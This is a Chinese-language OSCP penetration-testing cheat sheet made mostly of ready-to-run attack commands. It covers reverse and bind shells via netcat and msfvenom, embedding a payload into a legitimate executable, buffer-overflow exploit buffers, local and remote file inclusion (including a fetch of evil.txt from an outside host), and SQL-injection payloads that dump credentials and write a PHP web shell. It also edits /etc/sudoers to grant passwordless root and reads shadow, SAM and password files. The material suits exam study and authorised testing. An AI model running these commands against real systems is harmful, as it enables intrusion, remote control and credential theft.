OSCP生存手册
Kali Linux
Kali Linux
将目标地址设置为
$ip全局变量export ip=192.168.1.100搜索文件所在路径
locate sbd.exe在 $PATH 环境变量中搜索目标
which sbd查找名称中包含特定字符串的文件
find / -name sbd*显示活动的互联网连接
netstat -lntp修改密码
passwd验证服务正在运行和侦听
netstat -antp |grep apache启动服务
systemctl start sshsystemctl start apache2系统启动时自动启动服务
systemctl enable ssh停止服务
systemctl stop ssh解压 gz 格式文件
gunzip access.log.gz解压 tar.gz 文件
tar -xzvf file.tar.gz搜索命令历史
history | grep phrase_to_search_for下载一个 WEB 页面
wget http://www.cisco.com访问一个 WEB 页面
curl http://www.cisco.com
字符操作命令
计算文件的行数
wc -l index.html只显示文件的开始或结束部分
head index.htmltail index.html筛选包含制定字符串的行
grep "href=" index.html按分隔符切分字符串,过滤结果,然后排序
grep "href=" index.html | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 | sort -u使用 Grep 和正则表达式,并将结果输出到文件
cat index.html | grep -o 'http://[^"]*' | cut -d "/" -f 3 | sort –u > list.txt使用 bash 循环解析每个主机名的 IP 地址
for url in $(cat list.txt); do host $url; done统计日志文件中所有 IP 地址,并按出现频率排序
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
解码
Base64 解码
echo -n "55m95bi95a2m6IuR" | base64 --decodeHex 解码
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
NC - 读写TCP、UDP报文
连接 POP3 邮件服务器
nc -nv $ip 110侦听端口 (服务端)
nc -nlvp 4444连接指定端口(客户端)
nc -nv $ip 4444使用 NC 传输文件
nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe使用 NC 接收文件
nc -nlvp 4444 > incoming.exe某些操作系统(OpenBSD)将使用 nc.traditional,而不是 nc,所以要小心。
whereis ncnc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz /bin/nc.traditional -e /bin/bash 1.2.3.4 4444在 Windows 上创建反向 shell
nc.exe -nlvp 4444 -e cmd.exe或nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe在 Linux 上创建反向 shell
nc -nv $ip 4444 -e /bin/bash获取 Banner 信息
echo "" | nc -nv -w1 <IP Address> <Ports>
Ncat - 为 Nmap 项目提供的类 NC 软件,可避免 IDS 检测
在 Windows 上创建基于 SSL 的反向 shell
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl建立 SSL 连接
ncat -v $ip 4444 --ssl
Wireshark
只显示 SMTP(端口 25)和 ICMP 流量
tcp.port eq 25 or icmp只显示 192.168.x.x 网段流量
ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16过滤协议类型 ( e.g. SIP ) 和 IP
ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip过滤 IP 地址
ip.addr == xxx.xxx.xxx.xxx同上ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxxip.addr != xxx.xxx.xxx.xxx同上ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx
Tcpdump
读取 pcap 文件
tcpdump -r passwordz.pcap过滤 IP 地址并排序
tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head抓取端口 80 上的数据包
tcpdump tcp port 80 -w output.pcap -i eth0筛选 ACK + PSH 标记的 TCP 包
tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap
Dsniff
读取 pcap 文件
dsniff -p ch2.pcap
IPTables
拒绝除“本地环回”外的其他网卡流量
iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROPiptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP清除所有防火墙规则
信息收集&漏洞扫描
Google Hacking
搜索网站子域名
site:microsoft.comfiletype、intitle
intitle:"netbotz appliance" "OK" -filetype:pdfinurl
inurl:"level/15/sexec/-/show"Google Hacking Database:
SSL 证书测试
SSL Server Test (Powered by Qualys SSL Labs)
获取 Email
Simply Email
git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN
LDAP
LDAP 匿名绑定(https://www.freebuf.com/articles/web/256920.html)
ldapsearch -x -b "ou=anonymous,dc=challenge01,dc=root-me,dc=org" -H "ldap://challenge01.root-me.org:54013"
Netcraft
检测站点构成组件
Whois 枚举
whois domain-name-here.com
whois $ip
Banner 信息
nc -v $ip 25telnet $ip 25nc TARGET-IP 80
Recon-ng - 全特性 WEB 侦查框架
cd /opt; git clone https://[email protected]/LaNMaSteR53/recon-ng.git
cd /opt/recon-ng
./recon-ng
show modules
help
主动信息收集 & 端口扫描
Subnet Reference Table
/30
4
2
255.255.255.252
1/64
/29
8
6
255.255.255.248
1/32
/28
16
14
255.255.255.240
1/16
/27
32
30
255.255.255.224
1/8
/26
64
62
255.255.255.192
1/4
/25
128
126
255.255.255.128
1/2
/24
256
254
255.255.255.0
1
/23
512
510
255.255.254.0
2
/22
1024
1022
255.255.252.0
4
/21
2048
2046
255.255.248.0
8
/20
4096
4094
255.255.240.0
16
/19
8192
8190
255.255.224.0
32
/18
16384
16382
255.255.192.0
64
/17
32768
32766
255.255.128.0
128
/16
65536
65534
255.255.0.0
256
将 IP 地址设为环境变量
export ip=192.168.1.100 nmap -A -T4 -p- $ip
NC 端口扫描
nc -nvv -w 1 -z $ip 3388-3390
arp 主机发现
arp-scan $ip/24
网络发现
netdiscover
netdiscover -r $ip/24
Nmap SYN 扫描
nmap -sS $ip
Nmap FIN 扫描
nmap -sF $ip
Nmap Banner 信息
nmap -sV -sT $ip
Nmap 操作系统指纹
nmap -O $ip
Nmap 常规扫描
nmap $ip/24
枚举扫描
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
全端口扫描,保存结果
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24 nmap -v -sU -sS -p- -A -T4 $ip
快速扫描
nmap -T4 -F $ip/24
nmap -sV -T4 -O -F --version-light $ip/24
路径追踪
nmap -sn --traceroute $ip
Intense 扫描
nmap -T4 -A -v $ip
nmap -sS -sU -T4 -A -v $ip/24
nmap -p 1-65535 -T4 -A -v $ip/24
Intense 扫描 - No Ping
nmap -T4 -A -v -Pn $ip/24
Ping 扫描
nmap -sn $ip/24
全面扫描 (缓慢)
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
TCP 全连接扫描
nmap -p1-65535 -A -T5 -sT $ip
枚举
DNS 枚举
NMAP DNS 域名解析
nmap -F --dns-server <dns server ip> <target ip range>域名解析
host -t ns megacorpone.com反向域名解析
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"域名解析
dig a domain-name-here.com @nameserverMX记录
dig mx domain-name-here.com @nameserver使用 DIG 命令进行区域传输
dig axfr domain-name-here.com @nameserverDNS 区域传输 Windows 系统
nslookup -> set type=any -> ls -d blah.comLinux 系统dig axfr blah.com @ns1.blah.comDnsrecon 子域名爆破
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xmldnsrecon -d megacorpone.com -t axfrDNSEnum
dnsenum zonetransfer.me
Nmap 枚举脚本列表
Nmap 发现
discovery NSE Category — Nmap Scripting Engine documentation
Nmap 端口版本扫描
nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
NFS (Network File System) 枚举
显示可挂载的 NFS 共享
nmap -sV --script=nfs-showmount $ip
RPC 枚举
在没有用户名和密码的情况下连接到 RPC 共享,并枚举权限
rpcclient --user="" --command=enumprivs -N $ip使用用户名连接到 RPC 共享并枚举特权
rpcclient --user="<Username>" --command=enumprivs $ip
SMB 枚举
SMB OS 发现
nmap $ip --script smb-os-discovery.nseNmap 端口扫描
nmap -v -p 139,445 -oG smb.txt $ip-254Netbios 扫描
nbtscan -r $ip/24Nmap 发现 Netbios 服务器
nmap -sU --script nbstat.nse -p 137 $ipNmap 全 SMB 脚本扫描
nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ipNmap 全 SMB 脚本认证扫描
SMB 枚举工具
nmblookup -A $ip smbclient //MOUNT/share -I $ip -N rpcclient -U "" $ip enum4linux $ip enum4linux -a $ipSMB 指纹发现
smbclient -L //$ipNmap 扫描 SMB 共享
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24Nmap 扫描漏洞 SMB 服务器
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ipNmap 全部 SMB 脚本
ls -l /usr/share/nmap/scripts/smb*枚举 SMB 用户
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14或python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ipRID 枚举 - 空会话
ridenum.py $ip 500 50000 dict.txt手动空会话测试 Windows:
net use \$ip\IPC$ "" /u:""Linux:smbclient -L //$ip
SMTP 枚举 - 邮件服务器
NC 连接 SMTP 端口
nc -nv $ip 25
POP3 枚举 - 阅读其他帐号的邮件可能发现用户名和密码(Telnet 连接)
SNMP 枚举 -Simple Network Management Protocol
修复 SNMP 输出值,使其具有可读性
apt-get install snmp-mibs-downloader download-mibs echo "" > /etc/snmp/snmp.confSNMP 枚举命令
snmpcheck -t $ip -c public snmpwalk -c public -v1 $ip 1| grep hrSWRunName|cut -d* * -f snmpenum -t $ip onesixtyone -c names -i hostsSNMPv3 枚举
nmap -sV -p 161 --script=snmp-info $ip/24自动化 SNMPv3 用户名枚举
apt-get install snmp snmp-mibs-downloaderwget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rbSNMP 默认密码
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
MSSQL 枚举
Webmin、miniserv/0.01 枚举 - 端口 10000
通过读取 /etc/passwd 来测试 LFI 和文件泄露漏洞
通过读取 /etc/shadow 来测试 webmin 是否以 root 用户运行
Linux 系统枚举
查找所有 SUID 文件
find / -perm -4000 2>/dev/null查看 Linux 发行版
cat /etc/issue查看内核版本等系统信息
uname -a查看进程里表 ps -xaf
查看 SUDO 权限
sudo -l
Windows 系统枚举
net config Workstationsysteminfo | findstr /B /C:"OS Name" /C:"OS Version"hostnamenet usersipconfig /allroute printarp -Anetstat -anonetsh firewall show statenetsh firewall show configschtasks /query /fo LIST /vtasklist /SVCnet startDRIVERQUERYreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevateddir /s pass == cred == vnc == .configfindstr /si password *.xml *.ini *.txtreg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /s
Nmap 漏洞扫描
exploit NSE Category — Nmap Scripting Engine documentation
Nmap 搜索 vuln 类脚本
cd /usr/share/nmap/scripts/ ls -l *vuln*
通过关键词搜索相关 NMAP 脚本
ls /usr/share/nmap/scripts/* | grep ftp
使用 exploit 类漏洞进行扫描
nmap --script exploit -Pn $ip
NMap 身份认证脚本
auth NSE Category — Nmap Scripting Engine documentation
Nmap Vuln 类脚本
vuln NSE Category — Nmap Scripting Engine documentation
NMap DOS 扫描
Nmap 扫描 coldfusion WEB 漏洞
nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
Nmap 扫描匿名 FTP 漏洞
nmap -v -p 21 --script=ftp-anon.nse $ip-254
File 枚举
查找 SUID/SGID 文件
/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null本地枚举脚本 (/var/tmp)
查找指定文件名(支持通配符)
find /. -name suid*查看文件中的可打印字符串
strings <filename>查看文件类型
file <filename>
HTTP 枚举
Gobuster 路径枚举
gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
DirBuster
Dirb
dirb http://$ip/ wordlist.dict
dirb http://vm/
Dirb 挂代理
dirb http://$ip/ -p $ip:3129
Nikto
nikto -h $ip
NMAP 脚本 HTTP 枚举
nmap --script=http-enum -p80 -n $ip/24
Nmap 检查服务器方法
nmap --script http-methods --script-args http-methods.url-path='/test' $ip
测试 Options 方法
curl -vX OPTIONS vm/test
Uniscan 路径枚举
uniscan -qweds -u http://vm/
Wfuzz
递归 3 层
wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ检测 Knockd 端口
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; doneWordPress 漏洞扫描
wpscan --url $ip/blog --proxy $ip:3129RSH 枚举 - 不加密的文件传输系统
auxiliary/scanner/rservices/rsh_login
Finger 枚举
finger @$ipfinger batman@$ip
TLS & SSL 扫描
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html
挂代理扫描
nikto -useproxy http://:3128$ip -h $ip
隐写术
apt-get install steghide
steghide extract -sf picture.jpg
steghide info picture.jpg
apt-get install stegosuite
OpenVAS 漏扫
apt-get update
apt-get install openvas
openvas-setup
netstat -tulpn 登录地址: https://:9392$ip
缓冲区溢出攻击
DEP - 数据执行防止
ASLR - 内存地址随机化
Nmap Fuzzers
NMap Fuzzer 列表
fuzzer NSE Category — Nmap Scripting Engine documentation
NMap HTTP 表单 Fuzzer
nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ipNmap DNS Fuzzer
nmap --script dns-fuzz --script-args timelimit=2h $ip -d
MSFvenom
MSFvenom - Metasploit Unleashed
Windows 缓冲区溢出
控制 EIP 利用 pattern_create 测定 EIP 精确位置
pattern_create.rb -l 2700 locate pattern_offset pattern_offset.rb -q 39694438buffer = "A" * 2606 + "B" * 4 + "C" * 90测定坏字符 “Bad Characters” - (0x00 - 0xFF)
使用 Mona 测定未受保护的模块
如果 DEP 存在,则通过查找具有读取和执行权限的 JMP ESP 内存位置来绕过 DEP
使用 NASM 来确定 JMP ESP 指令的十六进制代码
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb JMP ESP 00000000 FFE4 jmp esp运行 Mona 查找(FFE4) XEF 命令内存位置
!mona find -s "\xff\xe4" -m slmfc.dll将地址翻转为 little endian 格式buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390创建 Payload(MSFVenom)
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"最终的 Payload (加 NOP)
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode创建 PE 反弹 Shell
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exePayload 增加编码 Shikata_ga_nai
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe将 payload 嵌入合法程序
msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows- binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe创建反弹 HTTPS Shell
msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe
Linux 缓冲区溢出
运行 EDB,加载程序
edb --run /usr/games/crossfire/bin/crossfire跳转并偏移至可控寄存器(EAX)
add eax,12jmp eax83C00C add eax,byte +0xcFFE0 jmp eax测定坏字符 0x00 - 0xFF
查找 JMP ESP 地址
"\x97\x45\x13\x08"# 小头 08134597crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nainc -v $ip 4444
Shells
NC 侦听
nc -nlvp 4444
rbash 升级终端
ssh user@$ip nc $localip 4444 -e /bin/sh
ssh user@$ip bash
输入帐号密码
PHP 反弹 Shell
Perl 反弹 Shell
https://github.com/b374k/b374k
Windows 反弹 Shell
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1
Web 后门
https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors
MSFVenom
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfWindows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exeMac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads
PHP
msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php或msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw首行添加 <?php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.phpASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.aspJSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspWAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.warPython
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pyBash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.shPerl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl帮助
msfvenom –help-formatsLinux Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Windows Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>Mac Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>MSF Handlers
use exploit/multi/handler set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession falseexploit -j -z
从 SSH 到 Meterpreter
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
SBD.exe
NC 类工具,可运行于 Win32 和类 Unix 系统。支持 AES-CBC-128 + HMAC-SHA1 加密 ,通过 -e 参数可执行程序,支持自动延迟重连 (/usr/share/windows-binaries/backdoors/sbd.exe)
Shellshock
NMap 测试破壳漏洞
打开 ssh 调试输出验证是否存在漏洞
查看文件内容
Shell Shock 绑定侦听端口
文件传输
开启 WEB 服务
python -m SimpleHTTPServer 80 python3 -m http.server php -S $ip:80
VBScript 版本 wget
运行脚本
C:\temp\cscript.exe webdl.vbs
Mount 共享文件
mount $ip:/vol/share /mnt/nfs
HTTP Put
nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php
上传文件
scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2scp localfile username@$ip:~/Folder/scp Linux_Exploit_Suggester.pl [email protected] :~Webdav
davtest -move -sendbd auto -url http://$ip使用 PUT 方法上传文件curl -T 'leetshellz.txt' 'http://$ip'使用 MOVE 方法重命名文件
curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'上传 shell
TFTP mkdir /tftp
atftpd --daemon --port 69 /tftp cp /usr/share/windows-binaries/nc.exe /tftp/WINDOWS 系统C:\Users\Offsec>tftp -i $ip get nc.exeFTP
打包文件
upx -9 nc.exe exe2bat locate exe2bat wine exe2bat.exe nc.exe nc.txt
Veil - Evasion -
https://github.com/Veil-Framework/Veil-Evasion
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/ cd setup setup.sh -c
提权
密码重用,维护破解密码列表,并在遇到的新机上测试密码
Linux 提权
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
id sudo su
可登录帐号
grep -vE "nologin|false" /etc/passwd
内核版本
uname -a searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
网络连接
netstat -tulpn
root 运行的帐号
ps aux | grep root
SUID / GUID
可写文件夹
自动枚举脚本
https://github.com/rebootuser/LinEnum
https://github.com/mzet-/linux-exploit-suggester
https://github.com/PenturaLabs/Linux_Exploit_Suggester
https://github.com/reider-roque/linpostexp
常见内核提权漏洞
CVE-2010-2959 - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)
Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) - 'CAN BCM' Local Privilege Escalation
CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
CVE-2012-0056 - Mempodipper, a linux local root exploit.
Linux CVE 2012-0056
CVE-2016-5195 - Dirty Cow - Linux Kernel <= 3.19.0-73.8
CVE-2021-3493
SSD Advisory – OverlayFS PE - SSD Secure Disclosure
CVE-2021-4034
https://github.com/topics/cve-2021-4034
DirtyPipe
添加帐号、修改密码
/usr/sbin/useradd -p 'openssl passwd -1 thepassword' pass1 echo <thepassword> | passwd haxzor --stdin
将 www-data 用户添加到 Root SUDO 组中(不要求密码)
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
SearchSploit
searchsploit –uncsearchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local searchsploit slmail
3.0.0 内核提权漏洞
./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0
Windows 提权
FuzzySecurity | Windows Privilege Escalation Fundamentals
Privilege Escalation - Metasploit Unleashed
用户身份
whoami net user "%username%"
windows_privesc_check.py
Windows Server 2003 IIS 6.0 WEBDAV 漏洞利用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt
cadavar
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying /aspshell3.txt' to /aspshell3.asp%3b.txt': succeeded.
dav:/> exit msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
curl http://$ip/aspshell3.asp;.txt
Windows MS11-080
Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (MS11-080)
Windows MS16-032
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
Powershell 提权工具
以其他帐号执行命令
检查配置错误的服务
icacls scsiaccess.exe
scsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) Everyone:(I)(F)
GPP
查找域控 SYSVOL 共享 net use z:\dc01\SYSVOL
发现 GPP 文件: Groups.xml dir /s Groups.xml
查看内容是否包含密码 type Groups.xml
使用 GPP-Decrypt 解密
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
客户端、WEB、密码爆破
MS12-037- Internet Explorer 8
wget -O exploit.html http://www.exploit-db.com/download/24017
Linux Client Shells
http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
Web 攻击
Web Shells ls -l /usr/share/webshells/
PHP 后门 (密码 s3cr3t) weevely generate s3cr3t weevely http://$ip/weevely.php s3cr3t
Iceweasel 插件 Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
文件包含漏洞
fimap - https://github.com/kurobeats/fimap
通过 phpinfo() 获得 shell fimap + phpinfo()
LFI - 使用 base64 编码解码
curl -s "http://$ip/?page=php://filter/convert.base64-encode/resource=index" | grep -e '\[^\\ \]\\{40,\\}' | base64 -dLFI -下载文件 http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
LFI 常用测试文件 /etc/issue /proc/version /etc/profile
/etc/passwd /etc/passwd /etc/shadow /root/.bash_history /var/log/dmessage /var/mail/root /var/spool/cron/crontabs/root
Windows 文件
%SYSTEMROOT%\repair\system %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\repair\SAM %WINDIR%\win.ini %SYSTEMDRIVE%\boot.ini %WINDIR%\Panther\sysprep.inf %WINDIR%\system32\config\AppEvent.Evt
下载密码文件 http://$ip/index.php?page=/etc/passwd http://$ip/index.php?file=../../../../etc/passwd http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
PHP 低于 5.3 存在 %00 截断漏洞 GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
污染日志文件
远程文件包含 http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt
Database 漏洞
检测 SQL 注入漏洞
MSSQL 基于时间注入
原始
SELECT * FROM products WHERE name='Test';注入
'; WAITFOR DELAY '00:00:30'; --结果
SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --
MySQL 基于时间注入
原始
SELECT * FROM products WHERE name='Test';注入
'-SLEEP(30); #结果
SELECT * FROM products WHERE name='Test'-SLEEP(30); #
PostGreSQL 基于时间注入
原始
SELECT * FROM products WHERE name='Test';注入
'; SELECT pg_sleep(30); --结果
SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --
MySQL 查询库
mysql -u root -p -h $ipuse "Users" show tables; select * from users;认证绕过
name='wronguser' or 1=1; name='wronguser' or 1=1 LIMIT 1;枚举数据库
http://192.168.11.35/comment.php?id=738)'详细错误信息http://$ip/comment.php?id=738 order by 1 http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6检测 MySQL 版本:http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6当前用户http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6枚举数据库表、列结构http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables查询表http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'提取用户名密码http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users创建后门http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'SQLMap 举例
爬取链接
sqlmap -u http://$ip --crawl=1 sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3SQLMap Search for databases against a suspected GET SQL Injection
sqlmap –u http://$ip/blog/index.php?search –dbsSQLMap dump tables from database oscommerce at GET SQL injection
sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumpsSQLMap GET 参数
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5SQLMap Post 参数
sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-allOS Shell
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell sqlmap -u http://$ip/login.php --method=POST --data="[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell自动 sqlmap 扫描
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump联合 + 报错注入
sqlmap -o -u http://$ip/index.php --forms --dbs sqlmap -o -u "http://$ip/form/" --forms表单注入
sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump枚举数据库
sqlmap --dbms=mysql -u "$URL" --dbs枚举表
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables获取数据
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump指定参数
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1¶m2=value2" --dbs -p param2 sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbsOS shell
sqlmap --dbms=mysql -u "$URL" --os-shellSQL shell
sqlmap --dbms=mysql -u "$URL" --sql-shellSQL 查询
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"使用 Tor Socks5 代理
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
NoSQLMap
NoSQL 注入 MongoDB ( /cgi-bin/mongo/2.2.3/dbparse.py )
安装
使用变形 NoSQL 查询触发报错
a'; return this.a != 'BadData’'; var dummy='!
密码攻击
AES 解密
将多个网页转换成一个单词列表
for x in 'index' 'about' 'post' 'contact' ; do curl http://ip/x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done将 html 转换为单词列表字典
html2dic index.html.out | sort -u > index-html.dict爆破
Nmap 爆破脚本
brute NSE Category — Nmap Scripting Engine documentation
